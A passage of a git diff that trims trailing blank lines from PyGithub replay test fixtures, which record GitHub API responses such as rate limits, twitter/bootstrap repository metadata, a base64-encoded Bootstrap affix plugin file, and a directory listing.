WFwaScsICAk\nLnByb3h5KGZ1bmN0aW9uICgpIHsgc2V0VGltZW91dCgkLnByb3h5KHRoaXMu\nY2hlY2tQb3NpdGlvbiwgdGhpcyksIDEpIH0sIHRoaXMpKQogICAgdGhpcy4k\nZWxlbWVudCA9ICQoZWxlbWVudCkKICAgIHRoaXMuY2hlY2tQb3NpdGlvbigp\nCiAgfQoKICBBZmZpeC5wcm90b3R5cGUuY2hlY2tQb3NpdGlvbiA9IGZ1bmN0\naW9uICgpIHsKICAgIGlmICghdGhpcy4kZWxlbWVudC5pcygnOnZpc2libGUn\nKSkgcmV0dXJuCgogICAgdmFyIHNjcm9sbEhlaWdodCA9ICQoZG9jdW1lbnQp\nLmhlaWdodCgpCiAgICAgICwgc2Nyb2xsVG9wID0gdGhpcy4kd2luZG93LnNj\ncm9sbFRvcCgpCiAgICAgICwgcG9zaXRpb24gPSB0aGlzLiRlbGVtZW50Lm9m\nZnNldCgpCiAgICAgICwgb2Zmc2V0ID0gdGhpcy5vcHRpb25zLm9mZnNldAog\nICAgICAsIG9mZnNldEJvdHRvbSA9IG9mZnNldC5ib3R0b20KICAgICAgLCBv\nZmZzZXRUb3AgPSBvZmZzZXQudG9wCiAgICAgICwgcmVzZXQgPSAnYWZmaXgg\nYWZmaXgtdG9wIGFmZml4LWJvdHRvbScKICAgICAgLCBhZmZpeAoKICAgIGlm\nICh0eXBlb2Ygb2Zmc2V0ICE9ICdvYmplY3QnKSBvZmZzZXRCb3R0b20gPSBv\nZmZzZXRUb3AgPSBvZmZzZXQKICAgIGlmICh0eXBlb2Ygb2Zmc2V0VG9wID09\nICdmdW5jdGlvbicpIG9mZnNldFRvcCA9IG9mZnNldC50b3AoKQogICAgaWYg\nKHR5cGVvZiBvZmZzZXRCb3R0b20gPT0gJ2Z1bmN0aW9uJykgb2Zmc2V0Qm90\ndG9tID0gb2Zmc2V0LmJvdHRvbSgpCgogICAgYWZmaXggPSB0aGlzLnVucGlu\nICE9IG51bGwgJiYgKHNjcm9sbFRvcCArIHRoaXMudW5waW4gPD0gcG9zaXRp\nb24udG9wKSA/CiAgICAgIGZhbHNlICAgIDogb2Zmc2V0Qm90dG9tICE9IG51\nbGwgJiYgKHBvc2l0aW9uLnRvcCArIHRoaXMuJGVsZW1lbnQuaGVpZ2h0KCkg\nPj0gc2Nyb2xsSGVpZ2h0IC0gb2Zmc2V0Qm90dG9tKSA/CiAgICAgICdib3R0\nb20nIDogb2Zmc2V0VG9wICE9IG51bGwgJiYgc2Nyb2xsVG9wIDw9IG9mZnNl\ndFRvcCA/CiAgICAgICd0b3AnICAgIDogZmFsc2UKCiAgICBpZiAodGhpcy5h\nZmZpeGVkID09PSBhZmZpeCkgcmV0dXJuCgogICAgdGhpcy5hZmZpeGVkID0g\nYWZmaXgKICAgIHRoaXMudW5waW4gPSBhZmZpeCA9PSAnYm90dG9tJyA/IHBv\nc2l0aW9uLnRvcCAtIHNjcm9sbFRvcCA6IG51bGwKCiAgICB0aGlzLiRlbGVt\nZW50LnJlbW92ZUNsYXNzKHJlc2V0KS5hZGRDbGFzcygnYWZmaXgnICsgKGFm\nZml4ID8gJy0nICsgYWZmaXggOiAnJykpCiAgfQoKCiAvKiBBRkZJWCBQTFVH\nSU4gREVGSU5JVElPTgogICogPT09PT09PT09PT09PT09PT09PT09PT0gKi8K\nCiAgdmFyIG9sZCA9ICQuZm4uYWZmaXgKCiAgJC5mbi5hZmZpeCA9IGZ1bmN0\naW9uIChvcHRpb24pIHsKICAgIHJldHVybiB0aGlzLmVhY2goZnVuY3Rpb24g\nKCkgewogICAgICB2YXIgJHRoaXMgPSAkKHRoaXMpCiAgICAgICAgLCBkYXRh\nID0gJHRoaXMuZGF0YSgnYWZmaXgnKQogICAgICAgICwgb3B0aW9ucyA9IHR5\ncGVvZiBvcHRpb24gPT0gJ29iamVjdCcgJiYgb3B0aW9uCiAgICAgIGlmICgh\nZGF0YSkgJHRoaXMuZGF0YSgnYWZmaXgnLCAoZGF0YSA9IG5ldyBBZmZpeCh0\naGlzLCBvcHRpb25zKSkpCiAgICAgIGlmICh0eXBlb2Ygb3B0aW9uID09ICdz\ndHJpbmcnKSBkYXRhW29wdGlvbl0oKQogICAgfSkKICB9CgogICQuZm4uYWZm\naXguQ29uc3RydWN0b3IgPSBBZmZpeAoKICAkLmZuLmFmZml4LmRlZmF1bHRz\nID0gewogICAgb2Zmc2V0OiAwCiAgfQoKCiAvKiBBRkZJWCBOTyBDT05GTElD\nVAogICogPT09PT09PT09PT09PT09PT0gKi8KCiAgJC5mbi5hZmZpeC5ub0Nv\nbmZsaWN0ID0gZnVuY3Rpb24gKCkgewogICAgJC5mbi5hZmZpeCA9IG9sZAog\nICAgcmV0dXJuIHRoaXMKICB9CgoKIC8qIEFGRklYIERBVEEtQVBJCiAgKiA9\nPT09PT09PT09PT09PSAqLwoKICAkKHdpbmRvdykub24oJ2xvYWQnLCBmdW5j\ndGlvbiAoKSB7CiAgICAkKCdbZGF0YS1zcHk9ImFmZml4Il0nKS5lYWNoKGZ1\nbmN0aW9uICgpIHsKICAgICAgdmFyICRzcHkgPSAkKHRoaXMpCiAgICAgICAg\nLCBkYXRhID0gJHNweS5kYXRhKCkKCiAgICAgIGRhdGEub2Zmc2V0ID0gZGF0\nYS5vZmZzZXQgfHwge30KCiAgICAgIGRhdGEub2Zmc2V0Qm90dG9tICYmIChk\nYXRhLm9mZnNldC5ib3R0b20gPSBkYXRhLm9mZnNldEJvdHRvbSkKICAgICAg\nZGF0YS5vZmZzZXRUb3AgJiYgKGRhdGEub2Zmc2V0LnRvcCA9IGRhdGEub2Zm\nc2V0VG9wKQoKICAgICAgJHNweS5hZmZpeChkYXRhKQogICAgfSkKICB9KQoK\nCn0od2luZG93LmpRdWVyeSk7\n","encoding":"base64"} - diff --git a/tests/ReplayData/Issue142.testDecodeJson.txt b/tests/ReplayData/Issue142.testDecodeJson.txt index 38420bd28c..b5a672b0cf 100644 --- a/tests/ReplayData/Issue142.testDecodeJson.txt +++ b/tests/ReplayData/Issue142.testDecodeJson.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Thu, 24 Oct 2019 14:28:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '58'), ('X-RateLimit-Reset', '1571930854'), ('Cache-Control', 'no-cache'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', '67AD:4CF3:4699F:76E9A:5DB1B513')] {"resources":{"core":{"limit":60,"remaining":58,"reset":1571930854},"search":{"limit":10,"remaining":10,"reset":1571927375},"graphql":{"limit":0,"remaining":0,"reset":1571930915},"integration_manifest":{"limit":5000,"remaining":5000,"reset":1571930915}},"rate":{"limit":60,"remaining":58,"reset":1571930854}} - diff --git a/tests/ReplayData/Issue174.setUp.txt b/tests/ReplayData/Issue174.setUp.txt index 5444722cd8..864bc64a79 100644 --- a/tests/ReplayData/Issue174.setUp.txt +++ b/tests/ReplayData/Issue174.setUp.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '5720'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 18 Jun 2013 19:52:37 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"525271e07b1b6c94fd4a0633d61cd3c6"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 18 Jun 2013 20:10:16 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"id":2126244,"name":"bootstrap","full_name":"twitter/bootstrap","owner":{"login":"twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/2f4a8254d032a8ec5e4c48d461e54fcc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"2f4a8254d032a8ec5e4c48d461e54fcc","url":"https://api.github.com/users/twitter","html_url":"https://github.com/twitter","followers_url":"https://api.github.com/users/twitter/followers","following_url":"https://api.github.com/users/twitter/following{/other_user}","gists_url":"https://api.github.com/users/twitter/gists{/gist_id}","starred_url":"https://api.github.com/users/twitter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/twitter/subscriptions","organizations_url":"https://api.github.com/users/twitter/orgs","repos_url":"https://api.github.com/users/twitter/repos","events_url":"https://api.github.com/users/twitter/events{/privacy}","received_events_url":"https://api.github.com/users/twitter/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/twitter/bootstrap","description":"Sleek, intuitive, and powerful front-end framework for faster and easier web development.","fork":false,"url":"https://api.github.com/repos/twitter/bootstrap","forks_url":"https://api.github.com/repos/twitter/bootstrap/forks","keys_url":"https://api.github.com/repos/twitter/bootstrap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/twitter/bootstrap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/twitter/bootstrap/teams","hooks_url":"https://api.github.com/repos/twitter/bootstrap/hooks","issue_events_url":"https://api.github.com/repos/twitter/bootstrap/issues/events{/number}","events_url":"https://api.github.com/repos/twitter/bootstrap/events","assignees_url":"https://api.github.com/repos/twitter/bootstrap/assignees{/user}","branches_url":"https://api.github.com/repos/twitter/bootstrap/branches{/branch}","tags_url":"https://api.github.com/repos/twitter/bootstrap/tags","blobs_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/twitter/bootstrap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/twitter/bootstrap/git/refs{/sha}","trees_url":"https://api.github.com/repos/twitter/bootstrap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/twitter/bootstrap/statuses/{sha}","languages_url":"https://api.github.com/repos/twitter/bootstrap/languages","stargazers_url":"https://api.github.com/repos/twitter/bootstrap/stargazers","contributors_url":"https://api.github.com/repos/twitter/bootstrap/contributors","subscribers_url":"https://api.github.com/repos/twitter/bootstrap/subscribers","subscription_url":"https://api.github.com/repos/twitter/bootstrap/subscription","commits_url":"https://api.github.com/repos/twitter/bootstrap/commits{/sha}","git_commits_url":"https://api.github.com/repos/twitter/bootstrap/git/commits{/sha}","comments_url":"https://api.github.com/repos/twitter/bootstrap/comments{/number}","issue_comment_url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/{number}","contents_url":"https://api.github.com/repos/twitter/bootstrap/contents/{+path}","compare_url":"https://api.github.com/repos/twitter/bootstrap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/twitter/bootstrap/merges","archive_url":"https://api.github.com/repos/twitter/bootstrap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/twitter/bootstrap/downloads","issues_url":"https://api.github.com/repos/twitter/bootstrap/issues{/number}","pulls_url":"https://api.github.com/repos/twitter/bootstrap/pulls{/number}","milestones_url":"https://api.github.com/repos/twitter/bootstrap/milestones{/number}","notifications_url":"https://api.github.com/repos/twitter/bootstrap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/twitter/bootstrap/labels{/name}","created_at":"2011-07-29T21:19:00Z","updated_at":"2013-06-18T19:52:37Z","pushed_at":"2013-06-18T18:16:49Z","git_url":"git://github.com/twitter/bootstrap.git","ssh_url":"git@github.com:twitter/bootstrap.git","clone_url":"https://github.com/twitter/bootstrap.git","svn_url":"https://github.com/twitter/bootstrap","homepage":"http://twitter.github.io/bootstrap/","size":3744,"watchers_count":51744,"language":"JavaScript","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":16569,"mirror_url":null,"open_issues_count":184,"forks":16569,"open_issues":184,"watchers":51744,"master_branch":"master","default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"network_count":16569,"organization":{"login":"twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/2f4a8254d032a8ec5e4c48d461e54fcc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"2f4a8254d032a8ec5e4c48d461e54fcc","url":"https://api.github.com/users/twitter","html_url":"https://github.com/twitter","followers_url":"https://api.github.com/users/twitter/followers","following_url":"https://api.github.com/users/twitter/following{/other_user}","gists_url":"https://api.github.com/users/twitter/gists{/gist_id}","starred_url":"https://api.github.com/users/twitter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/twitter/subscriptions","organizations_url":"https://api.github.com/users/twitter/orgs","repos_url":"https://api.github.com/users/twitter/repos","events_url":"https://api.github.com/users/twitter/events{/privacy}","received_events_url":"https://api.github.com/users/twitter/received_events","type":"Organization"}} - diff --git a/tests/ReplayData/Issue174.testGetDirContentsWhithHttpRedirect.txt b/tests/ReplayData/Issue174.testGetDirContentsWhithHttpRedirect.txt index 0e3be28273..1c6a19b598 100644 --- a/tests/ReplayData/Issue174.testGetDirContentsWhithHttpRedirect.txt +++ b/tests/ReplayData/Issue174.testGetDirContentsWhithHttpRedirect.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '10844'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 18 Jun 2013 19:52:37 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"525271e07b1b6c94fd4a0633d61cd3c6"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 18 Jun 2013 20:10:19 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"name":".jshintrc","path":"js/.jshintrc","sha":"e0722690bd73b3195d87577aab3bba151a85f7e0","size":232,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/.jshintrc","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","html":"https://github.com/twitter/bootstrap/blob/master/js/.jshintrc"}},{"name":"bootstrap-affix.js","path":"js/bootstrap-affix.js","sha":"91c9ced13d00b36f4f8fa7573014945608a8fe65","size":3483,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/91c9ced13d00b36f4f8fa7573014945608a8fe65","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/91c9ced13d00b36f4f8fa7573014945608a8fe65","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js"}},{"name":"bootstrap-alert.js","path":"js/bootstrap-alert.js","sha":"0cefe5fc5ecd7df06f6c9cb37261fce000d9408d","size":2524,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-alert.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0cefe5fc5ecd7df06f6c9cb37261fce000d9408d","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0cefe5fc5ecd7df06f6c9cb37261fce000d9408d","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-alert.js"}},{"name":"bootstrap-button.js","path":"js/bootstrap-button.js","sha":"ce45991644b3d9fc5f3b563791999e6862dedbcb","size":2841,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-button.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ce45991644b3d9fc5f3b563791999e6862dedbcb","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ce45991644b3d9fc5f3b563791999e6862dedbcb","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-button.js"}},{"name":"bootstrap-carousel.js","path":"js/bootstrap-carousel.js","sha":"476494ad6ad1ae6418ae4131bac416230f4dc9bb","size":6057,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-carousel.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/476494ad6ad1ae6418ae4131bac416230f4dc9bb","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/476494ad6ad1ae6418ae4131bac416230f4dc9bb","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-carousel.js"}},{"name":"bootstrap-collapse.js","path":"js/bootstrap-collapse.js","sha":"74a73a890a2feb65103984910dcd571c36003669","size":4735,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-collapse.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/74a73a890a2feb65103984910dcd571c36003669","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/74a73a890a2feb65103984910dcd571c36003669","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-collapse.js"}},{"name":"bootstrap-dropdown.js","path":"js/bootstrap-dropdown.js","sha":"6cc1221133f073a2b5602124cdaf8cc230f68c2c","size":4413,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-dropdown.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/6cc1221133f073a2b5602124cdaf8cc230f68c2c","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/6cc1221133f073a2b5602124cdaf8cc230f68c2c","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-dropdown.js"}},{"name":"bootstrap-modal.js","path":"js/bootstrap-modal.js","sha":"c3648d8b7c38bba6a881ba3e0b58991af219de5a","size":6656,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-modal.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/c3648d8b7c38bba6a881ba3e0b58991af219de5a","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/c3648d8b7c38bba6a881ba3e0b58991af219de5a","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-modal.js"}},{"name":"bootstrap-popover.js","path":"js/bootstrap-popover.js","sha":"e6a23d21045816cbf2b88b881cfb70242e774817","size":3115,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-popover.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e6a23d21045816cbf2b88b881cfb70242e774817","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e6a23d21045816cbf2b88b881cfb70242e774817","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-popover.js"}},{"name":"bootstrap-scrollspy.js","path":"js/bootstrap-scrollspy.js","sha":"7dd60c4262c70df806072910d175d8b45d0c302f","size":4655,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-scrollspy.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7dd60c4262c70df806072910d175d8b45d0c302f","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7dd60c4262c70df806072910d175d8b45d0c302f","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-scrollspy.js"}},{"name":"bootstrap-tab.js","path":"js/bootstrap-tab.js","sha":"a5161515acf4d812dd26f676a4c1cdae4996e269","size":3496,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tab.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/a5161515acf4d812dd26f676a4c1cdae4996e269","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/a5161515acf4d812dd26f676a4c1cdae4996e269","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tab.js"}},{"name":"bootstrap-tooltip.js","path":"js/bootstrap-tooltip.js","sha":"a3bbd580bba946f3fa3dd7a9bd65989597c86759","size":9911,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tooltip.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/a3bbd580bba946f3fa3dd7a9bd65989597c86759","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/a3bbd580bba946f3fa3dd7a9bd65989597c86759","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tooltip.js"}},{"name":"bootstrap-transition.js","path":"js/bootstrap-transition.js","sha":"e12cf6e5af81ad88e591f353d86cb00894d5b29f","size":1756,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-transition.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e12cf6e5af81ad88e591f353d86cb00894d5b29f","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e12cf6e5af81ad88e591f353d86cb00894d5b29f","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-transition.js"}},{"name":"bootstrap-typeahead.js","path":"js/bootstrap-typeahead.js","sha":"abc48d5056e13ca3371e1486029e67815eff048a","size":8320,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js?ref=master","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-typeahead.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/abc48d5056e13ca3371e1486029e67815eff048a","type":"file","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/abc48d5056e13ca3371e1486029e67815eff048a","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-typeahead.js"}},{"name":"tests","path":"js/tests","sha":"bac460d88cf867a9382be45673ebbbdcb2ef7f41","size":0,"url":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests?ref=master","html_url":"https://github.com/twitter/bootstrap/tree/master/js/tests","git_url":"https://api.github.com/repos/twitter/bootstrap/git/trees/bac460d88cf867a9382be45673ebbbdcb2ef7f41","type":"dir","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests?ref=master","git":"https://api.github.com/repos/twitter/bootstrap/git/trees/bac460d88cf867a9382be45673ebbbdcb2ef7f41","html":"https://github.com/twitter/bootstrap/tree/master/js/tests"}}] - diff --git a/tests/ReplayData/Issue214.setUp.txt b/tests/ReplayData/Issue214.setUp.txt index 14f1cee3cc..180bc24d6d 100644 --- a/tests/ReplayData/Issue214.setUp.txt +++ b/tests/ReplayData/Issue214.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4766'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DAB:78E783D:52AF94DB'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '1621'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 16 Dec 2013 23:51:58 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"10591bd2c625813e49751bcca25b7c61"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 17 Dec 2013 00:03:39 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"url":"https://api.github.com/repos/farrd/PyGithub/issues/1","labels_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/labels{/name}","comments_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/comments","events_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/events","html_url":"https://github.com/farrd/PyGithub/issues/1","id":24389294,"number":1,"title":"Test Issue","user":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-12-16T23:36:11Z","updated_at":"2013-12-16T23:51:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"","closed_by":null} - diff --git a/tests/ReplayData/Issue214.testAssignees.txt b/tests/ReplayData/Issue214.testAssignees.txt index 187fa73a0c..e3b1c4a754 100644 --- a/tests/ReplayData/Issue214.testAssignees.txt +++ b/tests/ReplayData/Issue214.testAssignees.txt @@ -19,4 +19,3 @@ None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4837'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:0438:2A76207:52AF9218'), ('content-length', '76'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Mon, 16 Dec 2013 23:51:52 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"message":"Not Found","documentation_url":"http://developer.github.com/v3"} - diff --git a/tests/ReplayData/Issue214.testCollaborators.txt b/tests/ReplayData/Issue214.testCollaborators.txt index 3c641fdba7..2002439ffa 100644 --- a/tests/ReplayData/Issue214.testCollaborators.txt +++ b/tests/ReplayData/Issue214.testCollaborators.txt @@ -74,4 +74,3 @@ None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4759'), ('x-github-media-type', 